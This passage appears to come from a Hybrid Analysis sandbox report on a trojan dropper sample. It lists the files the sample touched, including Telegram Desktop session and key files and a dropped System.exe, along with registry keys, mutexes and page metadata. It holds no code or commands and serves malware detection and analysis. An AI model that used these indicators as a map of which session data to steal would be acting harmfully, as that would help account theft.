Desktop\\tdata\\EMOJI\\CACHE_18_0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_18_0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_24_0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\key_datas.CqXHZE","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\settingss.LDmFnY","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\settingss.gAASVn","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\E9A1C5087BF60381s.LGfBXv","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\E9A1C5087BF60381s.QXQUvZ","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\E9A1C5087BF60381s.iPLQwK","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\settingss.xFkkHD","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\opengl_crash_check","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_18_1","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_24_1","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\E9A1C5087BF60381s.BMozcq","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\spoiler\\text","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\E9A1C5087BF60381s.yCWNEu","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_18_2","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_24_2","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\settingss.SiAlyu","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\temp\\quit_0.ico","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\K666QM6SNJ8N1WNS9SO3.temp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_18_3","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_24_3","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_18_4","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_24_4","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_18_5","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_24_5","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_18_6","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_24_6","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_18_7","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\emoji\\cache_24_7","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\settingss.vLJYVS","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\D877F783D5D3EF8Cs.CrOVPL","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\prefix","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\D877F783D5D3EF8C\\CONFIGS.YCFQOS","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\D877F783D5D3EF8C\\configs.ZYSxHR","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tupdates\\tx64upd7002005","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\D877F783D5D3EF8Cs.nXhIpS","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\D877F783D5D3EF8C\\configs.ICmQdw","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\D877F783D5D3EF8Cs.jtqDwl","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\D877F783D5D3EF8Cs.DUURkx","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\countries","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\settingss.jKJwdR","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\0B6BAAA132866617s.QoUsKy","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\5ZSO6UA4CJSLGD4R8CZ7.temp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\41f23bb65d5a09df.customDestinations-ms~RF1a9953.TMP","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\OWCGWQ1A0BFXMNJOK3LV.temp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\41f23bb65d5a09df.customDestinations-ms~RF1a99a1.TMP","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\27CIVH2TOQJ2H4UMULCR.temp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\41f23bb65d5a09df.customDestinations-ms~RF1a99e0.TMP","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\settingss.cqZfjk","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\dumps","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\log_start1.txt","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\is-DUFEV.tmp\\D5rra.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\is-CAG3H.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\is-CAG3H.tmp\\CoreLogic.dll","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\is-CAG3H.tmp\\is-5K88K.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%ALLUSERSPROFILE%\\CfServerSoftwareDistribution\\is-3R46B.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%ALLUSERSPROFILE%\\CfServerSoftwareDistribution\\is-4O7G3.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\System\\System.exe","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"PIPE\\wkssvc","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"\\SystemRoot\\AppPatch\\msimain.sdb","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%SAMPLEDIR%\\MSIa8e59.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\RESTARTMANAGER\\SESSION0000\\","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"key":"HKCUHKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\RESTARTMANAGER\\","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2804:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2804:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ci1458132047","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2804:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:2804:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:2804:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:2804:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"ci1458132047","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6908:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6908:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:6908:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:6908:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7736:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7736:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:7736:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:7736:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2316:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2316:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2316:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2316:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\__DDrawExclMode__","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\__DDrawCheckExclMode__","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:2316:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"__DDrawCheckExclMode__","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:2316:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:2316:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:2316:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"__DDrawExclMode__","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1040:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1040:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1040:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1040:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:1040:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:1040:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:1040:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:1040:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7280:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7280:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7280:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7280:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:7280:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:7280:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:7280:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:7280:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6424:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6424:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:6424:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:6424:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2688:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2688:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2688:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:2688:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:2688:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:2688:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5572:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5572:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"SM0:5572:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Local\\SM0:5572:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\BaseNamedObjects\\_MSIExecute","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:7060:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\BaseNamedObjects\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\BaseNamedObjects\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0001","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"\\BaseNamedObjects\\SM0:7060:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]}]}},"report_ids":{"sandbox_job_ids":["6abbd3ec8a3f6a99a0003a82"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Dropper.Trojan.Generic Sample f61305f2ea34… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample f61305f2ea34…. Malware family: Dropper.Trojan.Generic. Threat score 100/100. 3/26 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93"}],["$","meta","4",{"property":"og:title","content":"Malicious Dropper.Trojan.Generic Sample f61305f2ea34… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample f61305f2ea34…. Malware family: Dropper.Trojan.Generic. Threat score 100/100. 3/26 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Dropper.Trojan.Generic Sample f61305f2ea34… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample f61305f2ea34…. Malware family: Dropper.Trojan.Generic. Threat score 100/100. 3/26 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L77","11",{}]]